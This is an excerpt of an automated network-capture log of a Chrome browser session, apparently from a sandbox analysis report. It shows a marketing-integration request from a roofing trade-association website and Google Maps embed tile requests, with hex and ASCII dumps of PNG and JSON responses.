2024-04-23 14:54:22 UTC	182	IN	Data Raw: 95 32 36 6f 75 82 e8 18 09 0d 4e 06 9c a7 03 10 3e 1f 9c fe 02 7b 70 6d af 18 05 c2 17 28 13 70 56 1c 7e 4b d8 4c cb 1f 04 40 49 29 3d a4 6b 41 d2 e0 ce 72 e3 22 80 db ea ac 4d 12 33 78 a7 dc eb 00 08 11 81 02 84 8c ee 6c 43 ae ca f7 10 9a 40 a0 d4 0b e0 f9 1b 44 19 93 36 c1 c3 70 0e 64 08 04 f3 a7 02 90 02 03 61 2d ec 7e 7c 13 84 b3 ab 70 46 7d ec 79 f0 4e 39 07 8f 00 a0 11 80 60 9e 39 c5 7e 02 e1 ec 52 64 1b 08 0c 5d 19 b8 a3 b1 ec 53 04 4e c3 38 e6 f7 d3 e1 0b 84 98 0e 05 f0 3f a2 e0 03 59 70 91 92 f1 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 26ouN>{pm(pV~KL@I)=kAr"M3xlC@D6pda-~\|pF}yN9`9~Rd]SN8?YpIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.6	50058	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:21 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:22 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bKiYNVP9OABiU9Waqp9XR1%2FlcPCVRO%2B7k4Yxzo7x6GjVLd9bDKS2cadbldHXpiTlyLLgAPecTrRdcMDO3ysBssFJS3zMlQhBBv3WKMur8Imp8Nrw49413gAaj%2BMkelB1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb03c7e89b0c9-ATL
2024-04-23 14:54:22 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.6	50061	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:20 GMT Cache-Control: public, max-age=898 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 043a17f4a01fc2c4e Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 1400 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=3 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 33 50 4c 54 45 f1 f3 f4 fb fb fb a9 b5 b9 ff ff ff 7d 91 99 e9 ed ed dd dd e1 55 6d 79 79 7d 81 e5 e5 e5 bd c9 cd d1 d9 dd 4d 51 55 f4 f8 f8 51 95 ed 89 b9 f1 19 71 e9 b2 21 c2 c4 00 00 04 eb 49 44 41 54 78 da ed fd e9 92 ea 38 0c 05 60 c8 bb d7 3b f3 fe 4f 3b 92 1c 20 34 dc ed d7 34 d1 f9 7a a1 49 03 c5 91 65 27 2c 45 d1 9f 48 ad b5 44 2e 88 54 67 89 65 8e 50 e3 18 14 f8 a4 fa 90 e7 48 b3 d3 ec c1 b5 e6 dc e2 eb ac 45 d7 70 0e 4f bd 93 af 1c b3 cf 1c 7a 99 93 ff cc 93 8b 11 a6 0f 75 04 e2 ec 6e e7 bf 86 d4 72 4b 2b 1c e1 39 6b 2d 95 78 a8 03 71 e0 20 c3 5f 43 f0 5c 00 d7 29 38 89 7e 9d Data Ascii: PNGIHDRkXTpHYs3PLTE}Umyy}MQUQq!IDATx8`;O; 44zIe',EHD.TgePHEpOzunrK+9k-xq _C\)8~
2024-04-23 14:54:22 UTC	771	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ef 6c 1d c8 2a 77 20 ab dc 8f 7f 15 59 25 a3 ff cf 0f c3 1d c0 d3 5f 0a 60 77 0d 60 52 00 b2 0c 05 40 01 50 00 14 80 2c 43 01 2c 1f 09 2b cb 8f 85 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 49 8d 0c 4b 2d e7 44 56 71 f8 46 2e 04 b2 68 0f 3d a7 0f 16 0b a0 e9 57 b8 21 5b 6e 8d 6f 32 ff b9 f1 95 93 7a 90 11 9c be a5 f3 d0 3b dd 42 26 a4 d7 c6 4f d9 54 fa 44 e1 4b e3 9b 49 ff 75 e8 4d 37 be 43 e3 5b 39 f0 7f 59 f3 96 b9 a1 37 dc f8 ed 74 94 6b bd f1 c9 76 e3 1b da d9 93 e5 a3 5c 91 93 d5 35 6f 6b c9 68 e3 df 34 b2 d9 f8 77 a9 39 8b 8d 7f c2 03 6f 67 67 ff 9e dd e7 b6 01 00 00 00 00 ae ea 6f 3e f2 6c 5f 4c 2e ed dc da 1f 14 b6 9e b6 d3 07 72 7f f0 Data Ascii: l*w Y%_`w`R@P,C,+lIK-DVqF.h=W![no2z;B&OTDKIuM7C[9Y7tkv\5okh4w9oggo>l_L.r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.6	50062	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1003	OUT	GET /maps/vt?pb=!1m4!1m3!1i16!2i18860!3i24908!1m4!1m3!1i16!2i18860!3i24909!1m4!1m3!1i16!2i18861!3i24908!1m4!1m3!1i16!2i18861!3i24909!1m4!1m3!1i16!2i18862!3i24908!1m4!1m3!1i16!2i18862!3i24909!1m4!1m3!1i16!2i18863!3i24908!1m4!1m3!1i16!2i18863!3i24909!2m3!1e0!2sm!3i690435105!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3264 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	627	IN	HTTP/1.1 200 OK Content-Type: application/json Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 14:54:22 GMT Cache-Control: private, max-age=898 Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=4 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 14:54:22 UTC	628	IN	Data Raw: 66 30 30 0d 0a 5b 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 74 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 74 22 2c 22 62 61 73 65 22 3a 5b 36 31 38 30 34 38 36 34 30 2c 38 31 36 32 31 35 30 34 30 5d 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 6d 40 36 39 30 34 33 35 31 30 35 22 2c 22 66 65 61 74 75 72 65 73 22 3a 5b 7b 22 69 64 22 3a 22 33 33 35 39 30 37 38 33 31 39 36 33 31 39 36 38 35 30 33 22 2c 22 61 22 3a 5b 30 2c 30 5d 2c 22 62 62 22 3a 5b 2d 31 33 31 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 39 36 2c 2d 31 35 2c 2d 31 30 2c 33 5d 2c 22 63 22 3a 22 7b 5c Data Ascii: f00[{"id":"twutvttwvuvtwwtt","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtt","base":[618048640,816215040],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"3359078319631968503","a":[0,0],"bb":[-131,-29,-10,-11,-96,-15,-10,3],"c":"{\
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 46 61 69 74 68 20 47 61 74 65 77 61 79 20 43 6f 6d 6d 75 6e 69 74 79 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 5d 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 76 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 76 22 2c 22 62 61 73 65 22 3a 5b 36 31 38 30 38 31 39 32 30 2c 38 31 36 32 30 34 32 38 38 5d 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 6d 40 36 39 30 34 33 35 31 30 35 22 2c 22 66 65 61 74 75 72 65 73 22 3a 5b 7b 22 69 64 22 3a 22 35 30 30 36 37 37 35 35 30 Data Ascii: 3],"c":"{\"1\":{\"title\":\"Faith Gateway Community\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwtv","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtv","base":[618081920,816204288],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"500677550
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 2c 36 31 38 30 38 31 39 32 30 2c 38 31 36 32 30 34 32 38 38 5d 2c 22 62 62 22 3a 5b 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 37 38 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 31 33 30 2c 2d 31 35 2c 2d 39 2c 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 46 6f 72 65 73 74 20 48 69 6c 6c 20 45 6c 65 6d 65 6e 74 61 72 79 20 53 63 68 6f 6f 6c 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 5d 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 76 75 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 Data Ascii: ,618081920,816204288],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-78,-29,-10,-11,-130,-15,-9,3],"c":"{\"1\":{\"title\":\"Forest Hill Elementary School\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwvu","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtw
2024-04-23 14:54:22 UTC	709	IN	Data Raw: 31 36 32 33 34 31 31 32 2c 36 31 38 31 32 31 33 34 34 2c 38 31 36 32 33 34 31 31 32 5d 2c 22 62 62 22 3a 5b 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 38 34 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 31 32 32 2c 2d 31 35 2c 2d 31 30 2c 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 68 65 20 53 6f 63 63 65 72 20 46 61 63 74 6f 72 79 20 4d 61 72 79 6c 61 6e 64 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 2c 7b 22 69 64 22 3a 22 39 36 36 37 39 36 34 39 38 33 31 35 32 39 37 39 35 39 22 2c 22 61 22 3a 5b 2d 31 31 35 32 2c 36 37 38 34 2c 36 31 38 31 32 30 31 39 32 2c 38 31 36 32 34 30 38 39 36 2c 36 31 38 31 32 30 31 39 32 2c 38 31 36 Data Ascii: 16234112,618121344,816234112],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-84,-29,-10,-11,-122,-15,-10,3],"c":"{\"1\":{\"title\":\"The Soccer Factory Maryland\"}}","io":[0,-13]},{"id":"966796498315297959","a":[-1152,6784,618120192,816240896,618120192,816
2024-04-23 14:54:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.6	50060	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=55343 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:20 GMT Cache-Control: public, max-age=898 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0cb13afd684819bfc Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 7468 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=3 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 72 50 4c 54 45 f1 f3 f4 fb fc fc f9 f9 fa f4 f6 f6 e6 e8 ea ed ee f0 e4 e5 e6 ff ff ff f6 f7 f8 e0 e2 e5 b8 ba bd da dc e0 86 89 8c 70 75 7a dd df e2 ec ec ec 94 98 9c a7 a9 ab d3 d4 d5 ce ea d6 c8 ca cb 7b 7e 81 8a be 9a 51 9f 69 c3 d9 f7 c3 dd cb 27 88 45 4e 52 56 6e af 82 5a 5d 61 9c c0 f9 35 90 51 a7 ce b3 18 80 38 d7 ed de 1a 73 e8 54 91 f5 34 a8 53 67 b8 fb 7d 00 00 1c 60 49 44 41 54 78 da ed fd 89 96 aa 3c b3 05 00 64 60 66 c6 d9 b1 87 f3 bf ff 2b de 5d 09 6a 40 40 50 e8 d6 fe 6e ad 75 8e b6 06 24 3b 35 a5 52 a9 30 4d 96 e7 1a e4 b0 5f a1 d4 f2 1d 5b 72 b7 93 b8 4c 7d df b2 cf d7 Data Ascii: PNGIHDRkXTpHYsrPLTEpuz{~Qi'ENRVnZ]a5Q8sT4Sg}`IDATx<d`f+]j@@Pnu$;5R0M_[rL}
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 50 92 e0 85 c3 ab 57 ff 15 00 ae a6 9e 18 c1 b4 8f 87 c3 61 17 59 e5 1f 72 97 f3 9a ab f8 e7 00 60 8a 11 9c 33 23 58 bb c0 2d b2 b3 b5 9f ef 12 ed 26 5d da fe 11 00 be f6 ab ed 76 bb 5a 6e 2e 9f 2a 46 c0 37 c1 ce 32 7a 98 1d f4 eb 55 0e fe 04 00 f6 7e 7b fa 1f d1 69 bb ff ba 7e 01 46 48 79 b4 cb ae 3a c0 3d 64 6e a0 24 e2 d2 a8 e2 0b bf 25 00 b6 33 3b e9 ee 2b 08 4e 9b ca b7 dc 0e c8 08 12 2b 44 30 06 50 88 f3 40 46 8b 3f 05 c0 e6 da 7d 05 c1 cc fc d6 83 e1 e3 61 51 ca 42 b6 93 56 16 01 92 bf 04 40 7a ee b9 7b 7e 53 eb 85 07 57 58 fa 82 c5 87 18 ac b0 88 8b 1c 2f e7 2f ed ca d2 c8 5b 02 b0 dc ea 6e 2f dd a5 7e b3 5d 36 b6 e3 a2 c8 0b a5 05 20 08 16 0b 35 39 ce db 03 50 0e fb 1e e1 ff 7d 29 04 8d ed 24 09 83 e4 c1 2e 3e ec 64 50 59 12 7b 6b 00 66 25 03 7c Data Ascii: PWaYr`3#X-&]vZn.*F72zU~{i~FHy:=dn$%3;+N+D0P@F?}aQBV@z{~SWX//[n/~]6 59P})$.>dPY{kf%\|
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 19 11 e6 44 ea ed f5 4f bc 17 57 37 fe fc 5e ea d7 cb a5 e7 a9 4d f9 5e 96 d7 9e 3f 2b 6f e7 32 e7 b4 d1 fd 96 97 49 d5 a5 a5 be 52 dd 42 27 8d ee 35 02 03 2d a0 a6 94 dd 07 e0 e7 09 12 04 15 d7 a3 a1 4d 56 4c 84 a5 02 18 e4 02 9d ef 60 bf 24 00 a5 d4 dd 25 05 80 e7 2b 21 78 40 01 b0 57 05 40 f6 0d 26 94 00 30 9a 0a 0f b6 80 fa 0e 57 00 d8 8b e6 c9 75 d1 19 00 b0 c0 23 1a 90 55 00 f0 de 10 00 cb d2 00 b0 d3 ff 4e 8f 31 b0 31 19 78 4b 00 68 fc 18 3c 98 fd 76 ff e0 2d 9c f7 07 00 d1 7d c8 c0 e6 c1 5b fc 11 00 d8 c3 1a fc 0a 00 7f c3 24 a1 2b 00 0f 93 31 1f 7e a3 44 c1 33 a9 95 9d e7 00 f0 df 1a 00 95 22 65 fd d7 01 70 9e f2 e0 fe 1f 80 ff 28 00 36 51 6a 59 96 b1 34 f2 86 56 e0 51 00 b0 26 e4 10 a5 40 e1 3f 09 80 db 48 ff 79 00 de 30 59 d8 ef de 16 d7 4a cd Data Ascii: DOW7^M^?+o2IRB'5-MVL`$%+!x@W@&0Wu#UN11xKh<v-}[$+1~D3"ep(6QjY4VQ&@?Hy0YJ
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 62 01 2b 98 4f e8 09 fd 08 00 b3 72 31 32 19 f4 3b 1c 09 22 f1 21 cb f3 c3 fc ed 01 08 fd 07 10 a0 4a 0c 19 ad 8f e6 d1 84 d9 a2 3f 03 c0 43 08 a0 be 9a 58 d0 d2 68 34 c1 02 f1 85 7e 08 80 c7 78 40 8a 39 22 82 07 55 85 fa 0d 01 f8 9a 3d 8d 00 73 e7 d1 22 57 81 f1 b7 07 e0 8a c0 90 7b 90 13 5d 14 04 c1 1b ea 80 1a 00 67 04 d2 01 63 29 28 4d 0e 54 fc 09 00 1e 40 40 58 79 8e b5 91 c3 84 51 c1 9f 04 e0 01 04 b4 2b 48 5a d0 fb 0b 00 0c 47 a0 5c b8 90 32 e0 63 2f 0f 96 34 21 00 b3 d9 d3 08 78 3c 88 b0 61 60 97 21 22 30 c1 e2 10 d1 0f 03 30 10 01 8f 63 32 90 e7 08 0a 26 7f 05 80 61 08 94 47 30 24 c9 74 8e 80 06 60 92 b9 e6 ac 0b 81 9e f9 a9 3c 20 09 d8 ed 06 01 90 5a 03 fa a3 00 98 24 43 a4 0d 80 12 01 11 f6 61 3b 11 90 04 a8 29 51 6f 00 b0 f0 3d 20 ff d9 99 2e Data Ascii: b+Or12;"!J?CXh4~x@9"U=s"W{]gc)(MT@@XyQ+HZG\2c/4!x<a`!"00c2&aG0$t`< Z$Ca;)Qo= .
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 9f a4 e6 47 90 3d 00 b0 74 f7 15 04 43 f8 04 35 0b 03 cf 9b c7 ac 4d 09 fe 36 00 d0 d5 4e 8f 83 f7 d6 ff 4c 1a c0 04 3c 8c 49 c2 e2 f0 d5 00 20 23 e5 fb 64 b0 53 e3 a0 81 b6 15 72 ff 5f 95 fa 5b 0b e2 00 a4 60 b4 9b c1 df 00 c0 2a 3b ae aa 8a 56 a8 cd 15 bc 70 ff f9 4d ef 79 33 52 30 10 70 85 0e 68 33 83 bf 00 80 e3 b3 7a c7 2f d4 3c b4 e7 7e 7b b6 77 46 82 f5 25 ee 52 ad 36 b7 75 cd e1 17 00 08 5b bb df 06 c0 59 f4 8f b0 01 e5 7b d6 93 14 07 04 8b 57 e2 00 db af 74 99 8e 1b b9 fe d5 a8 03 ce 9d 76 cb 7f 43 f4 20 8a 17 07 4e 1c bc 8c 0e a0 15 3a 9d 3c 84 3d 83 c8 5a c0 81 53 be e3 1b 35 80 cb 83 9d 85 39 62 c7 33 db d3 c8 1f 87 c9 00 59 81 20 77 b3 57 b1 02 b4 46 cb 71 b6 ad 6f e3 3f 5b ea 35 5b c3 11 70 ed 23 77 8f 6b 97 af 0d e7 5d f5 79 7d 69 b2 1e 04 Data Ascii: G=tC5M6NL<I #dSr_[`*;VpMy3R0ph3z/<~{wF%R6u[Y{WtvC N:<=ZS59b3Y wWFqo?[5[p#wk]y}i
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: a9 a1 67 e6 d0 73 1c 0a 17 4e a8 05 7d b3 f4 94 d7 96 2c f2 33 64 39 61 7d e8 6d 68 41 6c 70 ba 06 85 c6 d7 82 aa ec 8e 86 d5 3b 2f 4f 0a f6 0b 94 84 56 45 e5 d1 d0 27 25 6f 4e b8 75 46 95 1c 29 cd 80 c7 a3 1c 10 38 f5 ad 84 f2 47 18 c3 48 89 c4 13 a5 6a e8 cf df 19 00 8c ed 0b da 97 ba 43 08 36 60 b5 b0 10 22 cb 38 93 b2 ec b2 d4 ab d1 53 15 b7 36 c8 18 7a eb 32 f4 25 19 31 11 39 ba 16 54 82 85 3d 85 8e e3 a5 31 1d 6b 01 00 28 23 97 ab 9c 15 2e a1 26 11 3a 2f 01 90 d3 b1 42 e3 d0 97 64 84 c6 f9 b8 32 60 5b ea 30 2c a1 11 0e 91 3b 1d d2 6e 75 2f cf 72 df e5 05 a3 1d 15 74 d2 49 c9 02 25 37 4c 82 82 1a fa 30 69 b6 48 bd 56 48 07 13 f9 5a 15 c5 53 c4 4e 96 d1 81 df 51 34 cf 17 9e 13 47 31 a2 46 99 e2 09 d2 8c 58 4a c8 e7 61 7b f5 b5 a7 08 43 df 5e 6c 77 7c Data Ascii: gsN},3d9a}mhAlp;/OVE'%oNuF)8GHjC6`"8S6z2%19T=1k(#.&:/Bd2`[0,;nu/rtI%7L0iHVHZSNQ4G1FXJa{C^lw\|
2024-04-23 14:54:22 UTC	564	IN	Data Raw: 75 25 70 25 cf 7e d2 d9 32 62 22 4f d1 5d 4e aa 48 42 1a 0e 84 bc d1 13 10 ed 8b 09 fd 69 ac 3c 91 1e c9 06 a6 24 08 27 19 f4 e0 fe 0d df ab c0 ce 08 f6 db ee 7d 30 c9 18 b7 31 24 41 fa 43 1c 50 b3 a4 cc 93 42 5f a7 3e 31 91 fb a4 ad 60 0f 46 32 24 c1 4e 06 48 9e 11 1a b6 d0 f9 11 d3 3a fa c7 44 ba c8 ea 7d c4 0f 98 c5 2f 87 13 da b0 37 0f b7 07 45 9e a5 e1 31 91 26 72 86 b8 d4 69 72 76 ee 3d bf af 2a 30 94 c0 c8 ab e4 03 c6 ae 83 06 66 5d 5a 97 f2 e7 2c e9 a7 0a 8c e9 c0 b8 fb a7 b0 62 e4 8e 60 06 06 fb 53 ce 39 07 94 db bd 34 70 3a 59 ae d0 38 1c 30 3c e5 ce 4e fc d2 26 de 3f 48 c8 86 9f 6b 14 97 4b 47 cd 6c 1b 65 42 fc 90 31 b5 92 f2 24 84 ee 66 d4 fb aa f3 3f ee 26 ca 64 8c 43 b8 d3 c7 e4 c8 09 95 49 ec 6a 72 d3 fb d1 65 60 94 a0 d8 a3 72 64 fb a4 0a Data Ascii: u%p%~2b"O]NHBi<$'}01$ACPB_>1`F2$NH:D}/7E1&rirv=*0f]Z,b`S94p:Y80<N&?HkKGleB1$f?&dCIjre`rd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.6	50063	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
